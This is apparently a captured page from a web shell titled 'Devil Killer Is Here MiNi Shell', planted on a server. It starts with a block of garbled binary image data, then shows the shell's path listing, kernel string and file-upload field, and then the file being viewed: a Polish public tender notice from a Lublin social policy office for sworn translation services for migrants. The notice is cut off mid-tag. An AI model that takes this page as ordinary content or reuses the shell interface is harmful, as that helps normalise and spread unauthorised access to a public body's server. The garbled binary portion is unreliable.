JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/home/vmanager/www/common/web/tenders/20250627/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : //proc/thread-self/root/home/vmanager/www/common/web/tenders/20250627/0029820601-N-2025.html

<!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Świadczenie usług tłumaczenia pisemnego przysięgłego z języka ukraińskiego, rosyjskiego i rosyjsko-ukraińskiego na język polski dla obywateli państw trzecich, w tym migrantów z podziałem na 4 części </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Regionalny Ośrodek Polityki Społecznej w Lublinie</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 432687353</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Diamentowa 2</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Lublin</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">20-447</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">lubelskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL814 - Lubelski</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">zamowienia.publiczne@rops.lubelskie.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">http://rops.lubelskie.pl/</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - jednostka samorządu terytorialnego</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Ogólne usługi publiczne</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Świadczenie usług tłumaczenia pisemnego przysięgłego z języka ukraińskiego, rosyjskiego i rosyjsko-ukraińskiego na język polski dla obywateli państw trzecich, w tym migrantów z podziałem na 4 części </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-2c6b839a-c3f9-483f-b995-0656665a6d88</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2025/BZP 00298206</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2025-06-27</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2025/BZP 00102611/03/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.32 Usługi tłumaczenia</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> Usługa jest realizowana w ramach projektu „Utworzenie Centrum Integracji dla obywateli państw trzecich, w tym migrantów w województwie lubelskim” współfinansowanego ze środków EFS+, programu Fundusze Europejskie dla Lubelskiego 2021 – 2027, realizowanego przez Regionalny Ośrodek Polityki Społecznej w Lublinie </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://platformazakupowa.pl/transakcja/1134002 <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://platformazakupowa.pl/transakcja/1134002</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Postępowanie prowadzone jest w języku polskim przy użyciu środków komunikacji elektronicznej za pośrednictwem Platformy Zakupowej (dalej Platformy) dostępnej pod adresem: https://platformazakupowa.pl/pn/rops_lubelskie. Komunikacja między Zamawiającym a Wykonawcami, w tym wszelkie wnioski, zawiadomienia, informacje, oraz pozostałe dokumenty i oświadczenia, w tym dokumenty i oświadczenia składane na<br/>wezwanie Zamawiającego, przekazywane są elektronicznie za pośrednictwem elektronicznej Platformy dostępnej pod adresem:<br/>https://platformazakupowa.pl/pn/rops_lubelskie poprzez Formularz „Wyślij wiadomość do zamawiającego”. Za datę wpływu<br/>wniosków, zawiadomień oraz informacji przyjmuje się ich datę wczytania do Platformy. Sposób sporządzenia dokumentów<br/>elektronicznych, oświadczeń lub elektronicznych kopii dokumentów lub oświadczeń musi być zgodny z wymaganiami określonymi w<br/>Rozp. Prezesa Rady Ministrów z dn. 30 grudnia 2020 r. w sprawie sposobu sporządzania i przekazywania informacji oraz wymagań<br/>technicznych dla dokumentów elektronicznych oraz środków komunikacji elektronicznej w postępowaniu o udzielenie zamówienia<br/>publicznego lub konkursie oraz w Rozp. Ministra Rozwoju, Pracy i Technologii z dn. 23 grudnia 2020 r. w sprawie podmiotowych<br/>środków dowodowych oraz innych dokumentów lub oświadczeń, jakich może żądać zamawiający od wykonawcy. Wykonawca<br/>przystępując do postępowania bezpłatnie rejestrując się lub logując, w przypadku posiadania konta w Platformie, akceptuje warunki<br/>korzystania z Platformy, określone w Regulaminie zamieszczonym na stronie internetowej<br/>https://platformazakupowa.pl/pn/rops_lubelskie oraz uznaje go za wiążący. Zamawiający, zgodnie z § 2 Rozp. Prezesa Rady<br/>Ministrów z dnia 30 grudnia 2020 r. w sprawie sposobu sporządzania i przekazywania informacji ... (Dz. U. z 2020 r. poz. 2452)<br/>określa dopuszczalny format kwalifikowanego podpisu elektronicznego jako: 1) dokumenty w formacie „pdf”należy podpisywać<br/>formatem PAdES; 2) Zamawiający dopuszcza podpisanie dokumentów w formacie innym niż „pdf”, wtedy należy użyć formatu<br/>XAdES. Zamawiający, zgodnie z § 11 ust. 2 Rozp. określił: dopuszczalne formaty przesyłanych danych tj. maksymalny rozmiar<br/>jednego pliku przesyłanego za pośrednictwem dedykowanych formularzy do: złożenia, zmiany, wycofania oferty wynosi 150 MB<br/>natomiast przy komunikacji wielkość pliku to maksymalnie 500 MB, informacje na temat kodowania i czasu odbioru danych tj.: plik<br/>załączony przez Wykonawcę na Platformie i zapisany, nie jest widoczny dla Zamawiającego oraz właściciela Platformy, gdyż istnieje<br/>w systemie jako zaszyfrowany. Możliwość otworzenia pliku dostępna jest dopiero po odszyfrowaniu przez Zamawiającego po<br/>upływie terminu składania ofert, oznaczenie czasu odbioru danych przez Platformę stanowi przypiętą do dokumentu elektronicznego<br/>datę oraz dokładny czas (hh:mm:ss), niezbędne wymagania sprzętowo – aplikacyjne tj: stały dostęp do sieci Internet o<br/>gwarantowanej przepustowości min. 512 kb/s, komputer klasy PC lub MAC o konfiguracji: pamięć min. 2GB Ram, procesor Intel IV 2<br/>GHZ lub jego nowsza wersja, jeden z syst. operacyjnych - MS Windows 7, Mac Os x 10 4, Linux, lub ich nowsze wersje,<br/>zainstalowana przeglądarka internetowa EDGE, Chrome lub FireFox w najnowszej dostępnej wersji, włączona obsługa JavaScript,<br/>zainstalowany program Adobe Acrobat Reader lub inny obsługujący format plików .pdf, Szyfrowanie na platformazakupowa.pl<br/>odbywa się za pomocą protokołu TLS 1.3., Oznaczenie czasu odbioru danych przez platformę stanowi datę oraz dokładny czas<br/>(hh:mm:ss) generowany wg. czasu lokalnego serwera synchronizowanego z zegarem Głównego Urzędu Miar. Korzystanie z<br/>Platformy przez Wykonawcę jest bezpłatne. Szczegółowe informacje dot. korespondencji elektronicznej oraz instrukcję korzystania z<br/>Platformy zawarto w rozdz. VIII SWZ.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">1. Zamawiający jako administrator danych osobowych, obowiązany jest do spełnienia obowiązku informacyjnego z art. 13 RODO względem osób fizycznych, od których dane osobowe bezpośrednio pozyskał. Dotyczy to<br/>w szczególności:<br/>1) wykonawcy będącego osobą fizyczną,<br/>2) wykonawcy będącego osobą fizyczną, prowadzącą jednoosobową działalność gospodarczą,<br/>3) pełnomocnika wykonawcy będącego osobą fizyczną,<br/>4) członka organu zarządzającego wykonawcy, będącego osobą fizyczną (np. dane osobowe zamieszczone w informacji z KRK),<br/>5) osoby fizycznej skierowanej do przygotowania i przeprowadzenia postępowania o udzielenie zamówienia publicznego.<br/>2. Zamawiający informuje, że administratorem Pani/Pana danych osobowych jest Regionalny Ośrodek Polityki Społecznej w Lublinie z siedzibą przy ul. Diamentowej 2, 20-447 Lublinie.<br/>3. Zamawiający informuje, że:<br/>1) z Inspektorem Ochrony Danych Osobowych w można się skontaktować pod adresem e-mail: iod.rops@lubelskie.pl<br/>2) Pani/Pana dane osobowe przetwarzane będą na podstawie art. 6 ust. 1 lit. c RODO w celu udzielenia przedmiotowego<br/>zamówienia w niniejszym postępowaniu o udzielenie zamówienia publicznego.<br/>3) odbiorcami Pani/Pana danych osobowych będą osoby lub podmioty, którym udostępniona zostanie dokumentacja postępowania;<br/>4) Pani/Pana dane osobowe będą przechowywane, przez okres 5 lat liczonych od dnia 31 grudnia roku, w którym został zatwierdzony końcowy wniosek o płatność w ramach Projektu,<br/>5) obowiązek podania przez Panią/Pana danych osobowych bezpośrednio Pani/Pana dotyczących jest wymogiem ustawowym<br/>określonym w przepisach ustawy Pzp, związanym z udziałem w postępowaniu o udzielenie zamówienia publicznego; konsekwencje<br/>niepodania określonych danych wynikają z ustawy Pzp;<br/>6) w odniesieniu do Pani/Pana danych osobowych decyzje nie będą podejmowane w sposób zautomatyzowany, stosowanie do art.<br/>22 RODO;<br/>4. Zamawiający informuje, że posiada Pani/Pan:<br/>a) na podstawie art. 15 RODO prawo dostępu do danych osobowych Pani/Pana dotyczących;<br/>b) na podstawie art. 16 RODO prawo do sprostowania Pani/Pana danych osobowych. Skorzystanie z prawa do sprostowania nie<br/>może skutkować zmianą wyniku postępowania o udzielenie zamówienia publicznego ani zmianą postanowień Umowy w zakresie<br/>niezgodnym z Ustawą oraz nie może naruszać integralności protokołu oraz jego załączników;<br/>c) na podstawie art. 18 RODO prawo żądania od administratora ograniczenia przetwarzania danych osobowych z zastrzeżeniem<br/>przypadków, o których mowa w art. 18 ust. 2 RODO. Prawo do ograniczenia przetwarzania nie ma zastosowania w odniesieniu do<br/>przechowywania, w celu zapewnienia korzystania ze środków ochrony prawnej lub w celu ochrony praw innej osoby fizycznej lub<br/>prawnej, lub z uwagi na ważne względy interesu publicznego Unii Europejskiej lub państwa członkowskiego;<br/>d) prawo do wniesienia skargi do Prezesa Urzędu Ochrony Danych Osobowych, gdy uzna Pani/Pan, że przetwarzanie danych<br/>osobowych Pani/Pana dotyczących narusza przepisy RODO<br/>5. Zamawiający informuje, iż nie przysługuje Pani/Panu:<br/>a) w związku z art. 17 ust. 3 lit. b, d lub e RODO prawo do usunięcia danych osobowych;<br/>b) prawo do przenoszenia danych osobowych, o którym mowa w art. 20 RODO;<br/>c) na podstawie art. 21 RODO prawo sprzeciwu, wobec przetwarzania danych osobowych, gdyż podstawą prawną przetwarzania<br/>Pani/Pana danych osobowych jest art. 6 ust. 1 lit. c RODO.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2><h3 class="mb-0">4.1.) Informacje ogólne odnoszące się do przedmiotu zamówienia.</h3> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">DSP.TP.2311.11.2025</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">4</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Świadczenie usług tłumaczenia pisemnego przysięgłego z języka ukraińskiego, rosyjskiego i rosyjsko-ukraińskiego na język polski dla obywateli państw trzecich, w tym migrantów, będących uczestnikami Centrum Integracji w Lublinie przy ul. Diamentowej 2, zgodnie z opisem przedmiotu zamówienia zawartym w Załączniku nr 1.1 do SWZ </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> 1)	Zgodnie z art. 441 ust. 1 ustawy PZP Zamawiający zastrzega sobie możliwość skorzystania z Prawa opcji polegającego na zwiększeniu zapotrzebowania o przedmiot zamówienia określony w Formularzu Ofertowym, stanowiącym załącznik nr 2 do SWZ oraz na zasadach określonych w Projektowanych postanowieniach umowy – załącznik nr 10 do SWZ. <br/>Zamawiający przewiduje w ramach prawa opcji 150 stron tłumaczenia<br/>2)	Podmiotem uprawnionym do wykonania prawa opcji jest Zamawiający. <br/>3)	Wykonanie ww. opcji jest wyłącznym prawem Zamawiającego. Zamawiający nie jest zobowiązany do zrealizowania wartości przedmiotu umowy objętej prawem opcji;<br/>4)	Wykonawcy nie przysługują żadne roszczenia – szczególnie finansowe - z tytułu nieskorzystania z Prawa opcji lub niewykorzystania jego pełnej wartości. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">24 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">1.	Przy wyborze najkorzystniejszej oferty na realizację przedmiotu zamówienia, Zamawiający będzie się kierował następującymi kryteriami i ich wagami <br/>1)	Cena oferty – 60 % <br/>2)	Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza – 30%<br/>3)	Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności – 10%<br/>Zamawiający zsumuje punkty przyznane ofercie we wszystkich wyżej określonych kryteriach i wybierze ofertę, która otrzyma najwyższą liczbę punktów. Zamawiający dokona całkowitej oceny końcowej oferty według poniższego wzoru: <br/><br/>Op = C + PT+ KS<br/><br/>Ocena w poszczególnych kryteriach zostanie dokonana z dokładnością do dwóch miejsc po przecinku, zgodnie z matematyczną zasadą zaokrąglania liczb. <br/>Za najkorzystniejszą zostanie uznana oferta z najwyższą liczbą punktów spośród nieodrzuconych ofert. <br/>Zamawiający udzieli zamówienia Wykonawcy, którego oferta: <br/>a) została oceniona jako najkorzystniejsza w oparciu o podane kryteria oceny, <br/>b) odpowiada wszystkim wymaganiom określonym w ustawie Pzp, <br/>c) odpowiada wszystkim wymaganiom przedstawionym w SWZ. <br/><br/>Kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia, stanowiące kryterium jakościowe oceny ofert mają znaczący wpływ na jakość wykonania zamówienia. Od doświadczenia, wiedzy i umiejętności tłumaczy zależy jakość, rzetelność, dbałość wykonywanej usługi oraz rękojmia należytego wykonania przedmiotu przyszłej umowy.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">30</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">aspekty społeczne, w tym integracja zawodowa i społeczna osób, o których mowa w art. 94 ust. 1 ustawy</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.3.11.) Określenie aspektów społecznych, środowiskowych lub innowacyjnych, etykiet lub rachunku kosztów cyklu życia w odniesieniu do kryteriów oceny ofert: </h3> <p class="mb-0">zgodnie z art. 242 ust. 2 ustawy - aspekty społeczne</p> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Świadczenie usług tłumaczenia pisemnego przysięgłego z języka ukraińskiego, rosyjskiego i rosyjsko-ukraińskiego na język polski dla obywateli państw trzecich, w tym migrantów, będących uczestnikami Centrum Integracji w Chełmie przy ul. Szpitalnej 50, zgodnie z opisem przedmiotu zamówienia zawartym w Załączniku nr 1.2 do SWZ </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> 1)	Zgodnie z art. 441 ust. 1 ustawy PZP Zamawiający zastrzega sobie możliwość skorzystania z Prawa opcji polegającego na zwiększeniu zapotrzebowania o przedmiot zamówienia określony w Formularzu Ofertowym, stanowiącym załącznik nr 2 do SWZ oraz na zasadach określonych w Projektowanych postanowieniach umowy – załącznik nr 10 do SWZ. <br/>Zamawiający przewiduje w ramach prawa opcji 150 stron tłumaczenia<br/>2)	Podmiotem uprawnionym do wykonania prawa opcji jest Zamawiający. <br/>3)	Wykonanie ww. opcji jest wyłącznym prawem Zamawiającego. Zamawiający nie jest zobowiązany do zrealizowania wartości przedmiotu umowy objętej prawem opcji;<br/>4)	Wykonawcy nie przysługują żadne roszczenia – szczególnie finansowe - z tytułu nieskorzystania z Prawa opcji lub niewykorzystania jego pełnej wartości. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">24 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">1.	Przy wyborze najkorzystniejszej oferty na realizację przedmiotu zamówienia, Zamawiający będzie się kierował następującymi kryteriami i ich wagami <br/>1)	Cena oferty – 60 % <br/>2)	Potencjał osoby skierowanej przez Wykonawcę do realizacji przedmiotu zamówienia – doświadczenie tłumacza – 30%<br/>3)	Klauzula społeczna – skierowanie tłumacza z orzeczeniem niepełnosprawności – 10%<br/>Zamawiający zsumuje punkty przyznane ofercie we wszystkich wyżej określonych kryteriach i wybierze ofertę, która otrzyma najwyższą liczbę punktów. Zamawiający dokona całkowitej oceny końcowej oferty według poniższego wzoru: <br/><br/>Op = C + PT+ KS<br/><br/>Ocena w poszczególnych kryteriach zostanie dokonana z dokładnością do dwóch miejsc po przecinku, zgodnie z matematyczną zasadą zaokrąglania liczb. <br/>Za najkorzystniejszą zostanie uznana oferta z najwyższą liczbą punktów spośród nieodrzuconych ofert. <br/>Zamawiający udzieli zamówienia Wykonawcy, którego oferta: <br/>a) została oceniona jako najkorzystniejsza w oparciu o podane kryteria oceny, <br/>b) odpowiada wszystkim wymaganiom określonym w ustawie Pzp, <br/>c) odpowiada wszystkim wymaganiom przedstawionym w SWZ. <br/><br/>Kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia, stanowiące kryterium jakościowe oceny ofert mają znaczący wpływ na jakość wykonania zamówienia. Od doświadczenia, wiedzy i umiejętności tłumaczy zależy jakość, rzetelność, dbałość wykonywanej usługi oraz rękojmia należytego wykonania przedmiotu przyszłej umowy.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 